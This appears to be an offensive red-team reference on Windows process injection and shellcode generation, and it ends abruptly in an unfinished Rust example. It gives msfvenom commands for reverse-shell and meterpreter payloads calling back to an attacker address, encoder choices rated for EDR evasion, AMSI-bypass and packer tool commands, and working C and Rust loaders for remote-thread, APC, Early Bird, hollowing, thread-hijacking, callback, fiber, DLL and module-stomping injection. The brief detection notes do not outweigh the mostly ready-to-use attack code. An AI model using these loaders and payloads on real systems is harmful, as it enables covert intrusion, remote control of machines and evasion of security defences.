Process injection techniques, shellcode generation, and code execution methods. CreateRemoteThread, APC injection, Process Hollowing, Early Bird, and more.
Process injection is the act of executing arbitrary code inside the address space of another running process. It is a core red team technique for defense evasion, privilege escalation, and persistence - allowing an operator to hide malicious activity under a legitimate process name and avoid per-process security controls.
Common msfvenom commands for shellcode generation:
# Windows reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f c -b '\x00'
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f csharp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f raw -o payload.bin
# Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f c
# Output formats
msfvenom -p windows/x64/exec CMD=calc.exe -f c # C array
msfvenom -p windows/x64/exec CMD=calc.exe -f csharp # C# byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f python # Python
msfvenom -p windows/x64/exec CMD=calc.exe -f rust # Rust byte array
msfvenom -p windows/x64/exec CMD=calc.exe -f powershell # PowerShell
msfvenom -p windows/x64/exec CMD=calc.exe -f hex # Hex string
msfvenom -p windows/x64/exec CMD=calc.exe -f base64 # Base64
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o sc.bin # Raw binary
The output format determines how the raw shellcode bytes are wrapped for embedding in your loader. Choose the format that matches your loader's language to avoid manual conversion.
| Format | Language | Example Snippet |
|---|---|---|
c |
C/C++ | unsigned char buf[] = "\xfc\x48\x83..."; |
csharp |
C# | byte[] buf = new byte[510] { 0xfc, 0x48, ... }; |
python |
Python | buf = b"\xfc\x48\x83..." |
powershell |
PowerShell | [Byte[]] $buf = 0xfc,0x48,0x83... |
rust |
Rust | let buf: [u8; 510] = [0xfc, 0x48, ...]; |
raw |
Binary | Raw bytes written to file (no wrapper) |
hex |
Generic | fc4883e4f0e8... (hex string) |
base64 |
Generic | /EiD5PDo... (base64-encoded raw bytes) |
num |
Generic | 0xfc, 0x48, 0x83... (comma-separated values) |
| Encoder | Arch | Type | Detection | Description |
|---|---|---|---|---|
x64/xor_dynamic |
x64 | XOR | Low evasion | Dynamic key XOR, simple but fast |
x64/xor |
x64 | XOR | Low evasion | Static key XOR, smallest stub |
x64/zutto_dekiru |
x64 | Polymorphic | Medium evasion | Feedback-based, multiple iterations |
x86/shikata_ga_nai |
x86 | Polymorphic XOR | Medium evasion | Most popular, polymorphic feedback encoder. Each iteration changes the stub. |
x86/alpha_mixed |
x86 | Alphanumeric | High evasion (filters) | Output is mixed-case alphanumeric only. Bypasses character filters. |
x86/alpha_upper |
x86 | Alphanumeric | High evasion (filters) | Uppercase-only alphanumeric output |
x86/unicode_mixed |
x86 | Unicode | High evasion (filters) | Unicode-safe output for UTF-16 environments |
x86/countdown |
x86 | XOR | Low evasion | Single-byte XOR with countdown key |
x86/opt_sub |
x86 | Subtraction | Low evasion | Subtract-based encoder, avoids XOR patterns |
Standalone encoders (non-msfvenom):
| Tool | Description | Advantage |
|---|---|---|
| SGN | Shikata Ga Nai improved | Polymorphic, garbage instructions, register awareness, no msfvenom dependency |
| Donut | .NET assembly / PE / DLL to shellcode | Converts full binaries to position-independent shellcode with AMSI/ETW bypass |
| sRDI | Shellcode Reflective DLL Injection | Converts any DLL to position-independent shellcode |
| pe_to_shellcode | PE to shellcode converter | Minimal stub, preserves PE functionality |
| PEzor | Shellcode packer with evasion | Donut + syscalls + sleep + unhook + AMSI/ETW bypass |
| Freeze | Payload creation with suspend | Creates payloads that suspend before execution for sandbox evasion |
# === msfvenom encoding ===
# Single encoder, 5 iterations
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.1 LPORT=4444 \
-e x64/xor_dynamic -i 5 -b '\x00' -f c
# Chain multiple encoders (pipe raw output)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.10.10.1 LPORT=4444 \
-e x64/xor_dynamic -i 3 -f raw | \
msfvenom -e x64/zutto_dekiru -i 2 -f c
# List all available encoders with rank
msfvenom --list encoders
# === SGN (standalone) ===
# Install: go install github.com/EgeBalci/sgn@latest
sgn -i payload.bin -o encoded.bin -a 64 -c 5
# -c = encode count, -a = architecture
# === Donut (.NET/PE to shellcode) ===
# Convert .NET assembly to shellcode with AMSI bypass
donut -i SharpTool.exe -o loader.bin -b 1 -a 2
# -b 1 = AMSI bypass, -a 2 = x64, -e 3 = XOR encrypt
# === sRDI (DLL to shellcode) ===
python3 ConvertToShellcode.py -f MyDLL.dll -o shellcode.bin
# Converts DLL to PIC shellcode, calls DllMain on load
# === Bad character avoidance ===
# Exclude null bytes and newlines
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.1 LPORT=4444 \
-b '\x00\x0a\x0d' -f c
# msfvenom auto-selects best encoder for the bad chars
# === Custom XOR encoder (Python) ===
# When msfvenom encoders are signatured
import os
key = os.urandom(16)
shellcode = open('payload.bin','rb').read()
encoded = bytes([shellcode[i] ^ key[i % len(key)] for i in range(len(shellcode))])
# Prepend key + decoder stub in your loader
| Tool | Description |
|---|---|
| Donut | Converts PE, DLL, .NET assemblies, VBS, JScript into position-independent shellcode |
| ScareCrow | EDR evasion payload loader - side-loading, process injection, ETW/AMSI patches |
| Nimcrypt2 | Nim-based PE packer/loader with syscall support and sleep obfuscation |
| PEzor | Converts PE into position-independent shellcode with multiple execution methods |
| Charlotte | C++ framework for shellcode generation with encryption and evasion |
| Freeze | Go-based payload creation tool - creates suspended processes with injected shellcode |
# Donut - PE to shellcode
donut -i mimikatz.exe -o loader.bin -a 2 -f 1
# -a 2 = x64, -f 1 = raw output
# ScareCrow - EDR-evasive loader
ScareCrow -I payload.bin -Loader binary -domain microsoft.com
# PEzor
PEzor -sgn -unhook -antidebug -syscalls payload.bin
Minimal local shellcode runner using raw FFI. No external crates required - compiles with cargo build --release --target x86_64-pc-windows-gnu.
use std::ptr;
use std::mem;
// Raw FFI declarations - no crate dependencies
extern "system" {
fn VirtualAlloc(
addr: *mut u8, size: usize,
alloc_type: u32, protect: u32
) -> *mut u8;
fn RtlMoveMemory(
dest: *mut u8, src: *const u8, len: usize
);
fn CreateThread(
attrs: *mut u8, stack_size: usize,
start: *mut u8, param: *mut u8,
flags: u32, thread_id: *mut u32
) -> *mut u8;
fn WaitForSingleObject(handle: *mut u8, millis: u32) -> u32;
}
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
fn main() {
// msfvenom -p windows/x64/exec CMD=calc.exe -f rust
let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];
unsafe {
let addr = VirtualAlloc(
ptr::null_mut(),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
RtlMoveMemory(addr, shellcode.as_ptr(), shellcode.len());
let mut tid: u32 = 0;
let h_thread = CreateThread(
ptr::null_mut(), 0,
addr, ptr::null_mut(),
0, &mut tid,
);
WaitForSingleObject(h_thread, 0xFFFFFFFF);
}
}
Minimal x64 Linux execve("/bin/sh") shellcode. Assemble with nasm -f elf64 shell.asm -o shell.o && ld shell.o -o shell. Zero null bytes.
; x64 Linux execve("/bin/sh") - 27 bytes, null-free
BITS 64
global _start
_start:
xor rsi, rsi ; argv = NULL
push rsi ; push null terminator
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (little-endian)
push rdi
push rsp
pop rdi ; rdi = pointer to "/bin//sh"
xor rdx, rdx ; envp = NULL
mov al, 59 ; syscall number for execve (0x3b)
syscall
| Language | Command |
|---|---|
| C (MinGW cross-compile) | x86_64-w64-mingw32-gcc -o inject.exe inject.c -lkernel32 |
| C (MSVC) | cl.exe /Fe:inject.exe inject.c kernel32.lib |
| Rust (cross-compile) | cargo build --release --target x86_64-pc-windows-gnu |
| C# (Mono/csc) | csc /unsafe /out:inject.exe inject.cs |
| NASM (Linux) | nasm -f elf64 shell.asm -o shell.o && ld shell.o -o shell |
| NASM (Windows) | nasm -f win64 stub.asm -o stub.obj |
Opens a remote process, allocates memory, writes shellcode, and starts a new thread to execute it. This is the simplest and most well-documented injection method, but also the most heavily detected - virtually every EDR flags CreateRemoteThread calls into foreign processes.
Detection: Sysmon Event 8 (CreateRemoteThread) and ETW kernel thread-creation callbacks catch this trivially.
#include <windows.h>
// Shellcode placeholder
unsigned char shellcode[] = "\xfc\x48\x83...";
int main(void) {
DWORD pid = 1234; // Target PID
// 1. Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 2. Allocate memory in target (RW first - avoid RWX)
LPVOID pRemote = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 3. Write shellcode to allocated memory
WriteProcessMemory(hProcess, pRemote, shellcode, sizeof(shellcode), NULL);
// 4. Change protection to RX (W^X - write then execute, never both)
DWORD oldProtect;
VirtualProtectEx(hProcess, pRemote, sizeof(shellcode),
PAGE_EXECUTE_READ, &oldProtect);
// 5. Create remote thread at shellcode address
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Same technique using raw FFI. No external crates needed - pure extern "system" declarations.
use std::ptr;
extern "system" {
fn OpenProcess(access: u32, inherit: i32, pid: u32) -> *mut u8;
fn VirtualAllocEx(
proc: *mut u8, addr: *mut u8, size: usize,
alloc_type: u32, protect: u32
) -> *mut u8;
fn WriteProcessMemory(
proc: *mut u8, base: *mut u8, buf: *const u8,
size: usize, written: *mut usize
) -> i32;
fn VirtualProtectEx(
proc: *mut u8, addr: *mut u8, size: usize,
new_protect: u32, old_protect: *mut u32
) -> i32;
fn CreateRemoteThread(
proc: *mut u8, attrs: *mut u8, stack: usize,
start: *mut u8, param: *mut u8,
flags: u32, tid: *mut u32
) -> *mut u8;
fn WaitForSingleObject(handle: *mut u8, millis: u32) -> u32;
fn CloseHandle(handle: *mut u8) -> i32;
}
const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF;
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_READWRITE: u32 = 0x04;
const PAGE_EXECUTE_READ: u32 = 0x20;
fn main() {
let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];
let pid: u32 = 1234;
unsafe {
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
let p_remote = VirtualAllocEx(
h_process, ptr::null_mut(), shellcode.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE,
);
WriteProcessMemory(
h_process, p_remote,
shellcode.as_ptr(), shellcode.len(),
ptr::null_mut(),
);
let mut old_protect: u32 = 0;
VirtualProtectEx(
h_process, p_remote, shellcode.len(),
PAGE_EXECUTE_READ, &mut old_protect,
);
let h_thread = CreateRemoteThread(
h_process, ptr::null_mut(), 0,
p_remote, ptr::null_mut(),
0, ptr::null_mut(),
);
WaitForSingleObject(h_thread, 0xFFFFFFFF);
CloseHandle(h_thread);
CloseHandle(h_process);
}
}
Each injection technique follows a distinct chain of Windows API calls. Understanding these sequences is critical both for building loaders and for recognizing injection behavior in telemetry. EDRs use these exact call patterns as detection signatures.
| Technique | API Sequence |
|---|---|
| CreateRemoteThread | OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread |
| QueueUserAPC | OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> OpenThread -> QueueUserAPC |
| NtMapViewOfSection | NtCreateSection -> NtMapViewOfSection (local) -> memcpy -> NtMapViewOfSection (remote) -> CreateRemoteThread |
| Process Hollowing | CreateProcess(SUSPENDED) -> NtUnmapViewOfSection -> VirtualAllocEx -> WriteProcessMemory -> SetThreadContext -> ResumeThread |
| Early Bird | CreateProcess(SUSPENDED) -> VirtualAllocEx -> WriteProcessMemory -> QueueUserAPC -> ResumeThread |
| Module Stomping | LoadLibrary(legit.dll) -> VirtualProtectEx -> WriteProcessMemory (overwrite .text) |
| Fiber Injection | ConvertThreadToFiber -> VirtualAlloc -> CreateFiber -> SwitchToFiber |
| Thread Hijacking | OpenThread -> SuspendThread -> GetThreadContext -> VirtualAllocEx -> WriteProcessMemory -> SetThreadContext -> ResumeThread |
| Callback Injection | VirtualAlloc -> memcpy -> EnumWindows / EnumChildWindows / CreateTimerQueueTimer (callback = shellcode) |
| DLL Injection | OpenProcess -> VirtualAllocEx (path) -> WriteProcessMemory (path) -> CreateRemoteThread (LoadLibraryA) |
Queues an APC (Asynchronous Procedure Call) to threads in the target process. The shellcode only executes when a thread enters an alertable wait state (SleepEx, WaitForSingleObjectEx, etc.), so targeting processes with GUI message loops or I/O waits is most reliable. Queuing to all threads increases the odds of hitting an alertable one.
Detection: cross-process QueueUserAPC calls combined with prior VirtualAllocEx/WriteProcessMemory are flagged by most EDRs.
#include <windows.h>
#include <tlhelp32.h>
unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);
int main(void) {
DWORD pid = 1234;
// Allocate and write shellcode to target
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pRemote = VirtualAllocEx(hProcess, NULL, scSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, scSize, NULL);
// Enumerate threads and queue APC to each
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te;
te.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(
THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
if (hThread) {
QueueUserAPC((PAPCFUNC)pRemote, hThread, 0);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
CloseHandle(hProcess);
return 0;
}
Creates a legitimate process in a suspended state, unmaps its original PE image from memory, and replaces it with a malicious one. The process appears legitimate in task managers and process listings because the on-disk binary is benign - only the in-memory image is swapped. This is a classic technique for running arbitrary PEs under the guise of a trusted process like svchost.exe.
Detection: memory scanning reveals a mismatch between the on-disk PE and the in-memory image; also NtUnmapViewOfSection on a suspended process is a strong indicator.
#include <windows.h>
#include <winternl.h>
// NtUnmapViewOfSection typedef
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(void) {
unsigned char peBuffer[] = { /* PE bytes */ };
DWORD peSize = sizeof(peBuffer);
DWORD entryPointRVA = 0x1000; // PE entry point RVA
// Create suspended process
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL,
NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Get thread context and image base
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// Read PEB to get image base (PEB address is in RDX)
PVOID pImageBase;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10),
&pImageBase, sizeof(PVOID), NULL);
// Unmap original image
pNtUnmapViewOfSection NtUnmapViewOfSection =
(pNtUnmapViewOfSection)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, pImageBase);
// Allocate and write new PE at original base
LPVOID pNewBase = VirtualAllocEx(pi.hProcess, pImageBase,
peSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pNewBase, peBuffer, peSize, NULL);
// Update entry point in context (RCX = entry point)
ctx.Rcx = (DWORD64)pNewBase + entryPointRVA;
SetThreadContext(pi.hThread, &ctx);
// Resume - executes the replacement PE
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
APC queued to the main thread of a newly created suspended process. The APC executes when the thread is resumed, before the process entry point runs. This means the shellcode fires before EDR user-mode hooks (ntdll inline patches) are initialized, making it one of the stealthiest APC-based injection methods.
Detection: monitor for CREATE_SUSPENDED + QueueUserAPC + ResumeThread sequence on newly spawned processes.
#include <windows.h>
unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);
int main(void) {
// Create suspended process
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL,
NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Allocate and write shellcode
LPVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, scSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemote, shellcode, scSize, NULL);
// Queue APC to main thread BEFORE it initializes
QueueUserAPC((PAPCFUNC)pRemote, pi.hThread, 0);
// Resume - APC executes before entry point
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
Many Windows API functions accept a user-defined callback pointer (e.g., EnumFonts, EnumWindows, CreateTimerQueueTimer). By passing the address of shellcode as the callback, you get code execution without explicitly creating threads or using well-known injection APIs. This stays local to the current process and uses entirely legitimate API calls.
Detection: behavioral analysis is required since the individual API calls are benign; look for executable allocations followed by enum/timer calls with unusual callback targets.
#include <windows.h>
unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);
int main(void) {
// Allocate RWX and copy shellcode
LPVOID pShellcode = VirtualAlloc(NULL, scSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pShellcode, shellcode, scSize);
// Execute via callback - many options available:
// Option 1: EnumFonts
EnumFonts(GetDC(NULL), NULL, (FONTENUMPROC)pShellcode, 0);
// Option 2: EnumWindows
// EnumWindows((WNDENUMPROC)pShellcode, 0);
// Option 3: Timer queue callback
// HANDLE hTimer = NULL;
// CreateTimerQueueTimer(&hTimer, NULL,
// (WAITORTIMERCALLBACK)pShellcode, NULL, 0, 0, 0);
// Option 4: EnumDesktops
// EnumDesktops(GetProcessWindowStation(),
// (DESKTOPENUMPROCA)pShellcode, 0);
// Option 5: EnumSystemLocales
// EnumSystemLocalesA((LOCALE_ENUMPROCA)pShellcode, 0);
return 0;
}
Suspends an existing thread in the target process, overwrites its instruction pointer (RIP on x64) to point at injected shellcode, then resumes it. No new thread is created - execution is redirected through an already-running thread, which avoids CreateRemoteThread detection. The original thread's execution is effectively lost unless you save and restore its context.
Detection: SuspendThread + GetThreadContext + SetThreadContext on a remote thread is the telltale pattern; Sysmon Event 8 also catches this.
#include <windows.h>
unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);
int main(void) {
DWORD pid = 1234;
DWORD tid = 5678; // Target thread ID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Open and suspend target thread
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
SuspendThread(hThread);
// Get current context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
// Allocate shellcode in target process
LPVOID pRemote = VirtualAllocEx(hProcess, NULL, scSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, scSize, NULL);
// Redirect RIP to shellcode
ctx.Rip = (DWORD64)pRemote;
SetThreadContext(hThread, &ctx);
// Resume execution at shellcode
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Windows fibers are lightweight user-mode execution contexts that run cooperatively within a single thread. By converting the current thread to a fiber, then creating a new fiber whose start routine is the shellcode address, you achieve code execution entirely within your own process - no cross-process API calls at all.
Detection: very difficult to detect since fibers are user-mode constructs with no kernel transitions; requires behavioral heuristics or memory scanning for executable allocations.
#include <windows.h>
unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);
int main(void) {
// Convert current thread to fiber
LPVOID pMainFiber = ConvertThreadToFiber(NULL);
// Allocate executable memory
LPVOID pShellcode = VirtualAlloc(NULL, scSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pShellcode, shellcode, scSize);
// Create fiber pointing to shellcode
LPVOID pFiber = CreateFiber(0,
(LPFIBER_START_ROUTINE)pShellcode, NULL);
// Switch to fiber (executes shellcode)
SwitchToFiber(pFiber);
return 0;
}
Writes the path of a malicious DLL into the target process's memory, then creates a remote thread that calls LoadLibraryA with that path as the argument. When LoadLibraryA executes in the target, it loads the DLL and runs its DllMain entry point. The DLL must be on disk (or an accessible UNC path), which makes this technique easier to detect via file-based scanning.
Detection: Sysmon Event 7 (ImageLoad) catches the DLL load; also flagged by CreateRemoteThread targeting LoadLibraryA.
#include <windows.h>
#include <string.h>
int main(void) {
DWORD pid = 1234;
const char *dllPath = "C:\\Temp\\payload.dll";
SIZE_T pathLen = strlen(dllPath) + 1;
// 1. Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 2. Allocate space for DLL path in target
LPVOID pRemote = VirtualAllocEx(hProcess, NULL, pathLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 3. Write DLL path to target memory
WriteProcessMemory(hProcess, pRemote, dllPath, pathLen, NULL);
// 4. Resolve LoadLibraryA address (same in all processes - ASLR per-boot)
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPTHREAD_START_ROUTINE pLoadLib =
(LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA");
// 5. Create remote thread calling LoadLibraryA(pRemote)
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
pLoadLib, pRemote, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Loads a legitimate DLL into the target process, then overwrites its .text section with shellcode. The executable memory already exists (it is a mapped DLL) so there is no need to allocate new RWX memory - a strong detection indicator is avoided. The loaded DLL's path looks benign in process listings and module lists.
Detection: memory integrity checks comparing the on-disk DLL with the in-memory copy reveal the stomp; also periodic .text section hashing by advanced EDRs.
#include <windows.h>
unsigned char shellcode[] = "\xfc\x48\x83...";
DWORD scSize = sizeof(shellcode);
int main(void) {
DWORD pid = 1234;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 1. Load a legitimate DLL into target via DLL injection
const char *dllPath = "C:\\Windows\\System32\\amsi.dll";
SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID pPath = VirtualAllocEx(hProcess, NULL, pathLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pPath, dllPath, pathLen, NULL);
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
LPTHREAD_START_ROUTINE pLoadLib =
(LPTHREAD_START_ROUTINE)GetProcAddress(hK32, "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
pLoadLib, pPath, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
// 2. Get the base address of the loaded DLL in the target
// (resolve via EnumProcessModules or known offset)
HMODULE hRemoteDll = NULL; // Resolve the loaded module base
LPVOID pText = (LPVOID)((DWORD_PTR)hRemoteDll + 0x1000); // .text RVA
// 3. Change .text to RWX, write shellcode, restore to RX
DWORD oldProtect;
VirtualProtectEx(hProcess, pText, scSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(hProcess, pText, shellcode, scSize, NULL);
VirtualProtectEx(hProcess, pText, scSize,
PAGE_EXECUTE_READ, &oldProtect);
// 4. Execute via CreateRemoteThread at overwritten .text
HANDLE hExec = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pText, NULL, 0, NULL);
WaitForSingleObject(hExec, INFINITE);
CloseHandle(hExec);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Basic process hollowing using raw FFI. Creates a suspended process, unmaps the original image, and replaces it with shellcode/PE.
use std::ptr;
use std::mem;
#[repr(C)]
struct StartupInfoA {
cb: u32,
reserved: *mut u8,
desktop: *mut u8,
title: *mut u8,
x: u32, y: u32, x_size: u32, y_size: u32,
x_count_chars: u32, y_count_chars: u32,
fill_attribute: u32,
flags: u32,
show_window: u16,
cb_reserved2: u16,
lp_reserved2: *mut u8,
std_input: *mut u8,
std_output: *mut u8,
std_error: *mut u8,
}
#[repr(C)]
struct ProcessInformation {
h_process: *mut u8,
h_thread: *mut u8,
process_id: u32,
thread_id: u32,
}
#[repr(C)]
struct Context {
p1_home: u64, p2_home: u64, p3_home: u64,
p4_home: u64, p5_home: u64, p6_home: u64,
context_flags: u32, mx_csr: u32,
seg_cs: u16, seg_ds: u16, seg_es: u16,
seg_fs: u16, seg_gs: u16, seg_ss: u16,
eflags: u32, dr0: u64, dr1: u64, dr2: u64,
dr3: u64, dr6: u64, dr7: u64,
rax: u64, rcx: u64, rdx: u64, rbx: u64,
rsp: u64, rbp: u64, rsi: u64, rdi: u64,
r8: u64, r9: u64, r10: u64, r11: u64,
r12: u64, r13: u64, r14: u64, r15: u64,
rip: u64,
// Remaining CONTEXT fields omitted for brevity
// Full struct is 1232 bytes on x64
_padding: [u8; 4096],
}
extern "system" {
fn CreateProcessA(
app: *const u8, cmd: *mut u8,
proc_attrs: *mut u8, thread_attrs: *mut u8,
inherit: i32, flags: u32, env: *mut u8,
dir: *const u8, si: *mut StartupInfoA,
pi: *mut ProcessInformation
) -> i32;
fn GetThreadContext(thread: *mut u8, ctx: *mut Context) -> i32;
fn SetThreadContext(thread: *mut u8, ctx: *const Context) -> i32;
fn ReadProcessMemory(
proc: *mut u8, base: *const u8, buf: *mut u8,
size: usize, read: *mut usize
) -> i32;
fn VirtualAllocEx(
proc: *mut u8, addr: *mut u8, size: usize,
alloc_type: u32, protect: u32
) -> *mut u8;
fn WriteProcessMemory(
proc: *mut u8, base: *mut u8, buf: *const u8,
size: usize, written: *mut usize
) -> i32;
fn ResumeThread(thread: *mut u8) -> u32;
fn CloseHandle(handle: *mut u8) -> i32;
}
// NtUnmapViewOfSection from ntdll
#[link(name = "ntdll")]
extern "system" {
fn NtUnmapViewOfSection(
proc: *mut u8, base: *mut u8
) -> i32;
}
const CREATE_SUSPENDED: u32 = 0x00000004;
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const CONTEXT_FULL: u32 = 0x10000B;
fn main() {
let pe_buffer: Vec<u8> = vec![/* PE bytes */];
let entry_rva: u64 = 0x1000;
let target = b"C:\\Windows\\System32\\svchost.exe\0";
unsafe {
let mut si: StartupInfoA = mem::zeroed();
si.cb = mem::size_of::<StartupInfoA>() as u32;
let mut pi: ProcessInformation = mem::zeroed();
CreateProcessA(
target.as_ptr(), ptr::null_mut(),
ptr::null_mut(), ptr::null_mut(),
0, CREATE_SUSPENDED, ptr::null_mut(),
ptr::null(), &mut si, &mut pi,
);
let mut ctx: Context = mem::zeroed();
ctx.context_flags = CONTEXT_FULL;
GetThreadContext(pi.h_thread, &mut ctx);
// Read image base from PEB (PEB address in RDX)
let mut image_base: u64 = 0;
ReadProcessMemory(
pi.h_process,
(ctx.rdx + 0x10) as *const u8,
&mut image_base as *mut u64 as *mut u8,
8, ptr::null_mut(),
);
// Unmap original image
NtUnmapViewOfSection(pi.h_process, image_base as *mut u8);
// Allocate and write replacement PE
let new_base = VirtualAllocEx(
pi.h_process, image_base as *mut u8,
pe_buffer.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE,
);
WriteProcessMemory(
pi.h_process, new_base,
pe_buffer.as_ptr(), pe_buffer.len(),
ptr::null_mut(),
);
// Update entry point (RCX in suspended context)
ctx.rcx = new_base as u64 + entry_rva;
SetThreadContext(pi.h_thread, &ctx);
ResumeThread(pi.h_thread);
CloseHandle(pi.h_thread);
CloseHandle(pi.h_process);
}
}
use std::ptr;
#[repr(C)]
struct ThreadEntry32 {
dw_size: u32,
cnt_usage: u32,
th32_thread_id: u32,
th32_owner_process_id: u32,
tp_base_pri: i32,
tp_delta_pri: i32,
dw_flags: u32,
}
extern "system" {
fn OpenProcess(access: u32, inherit: i32, pid: u32) -> *mut u8;
fn VirtualAllocEx(
proc: *mut u8, addr: *mut u8, size: usize,
alloc_type: u32, protect: u32
) -> *mut u8;
fn WriteProcessMemory(
proc: *mut u8, base: *mut u8, buf: *const u8,
size: usize, written: *mut usize
) -> i32;
fn CreateToolhelp32Snapshot(flags: u32, pid: u32) -> *mut u8;
fn Thread32First(snap: *mut u8, te: *mut ThreadEntry32) -> i32;
fn Thread32Next(snap: *mut u8, te: *mut ThreadEntry32) -> i32;
fn OpenThread(access: u32, inherit: i32, tid: u32) -> *mut u8;
fn QueueUserAPC(func: *mut u8, thread: *mut u8, data: usize) -> u32;
fn CloseHandle(handle: *mut u8) -> i32;
}
const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF;
const THREAD_SET_CONTEXT: u32 = 0x0010;
const TH32CS_SNAPTHREAD: u32 = 0x00000004;
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
fn main() {
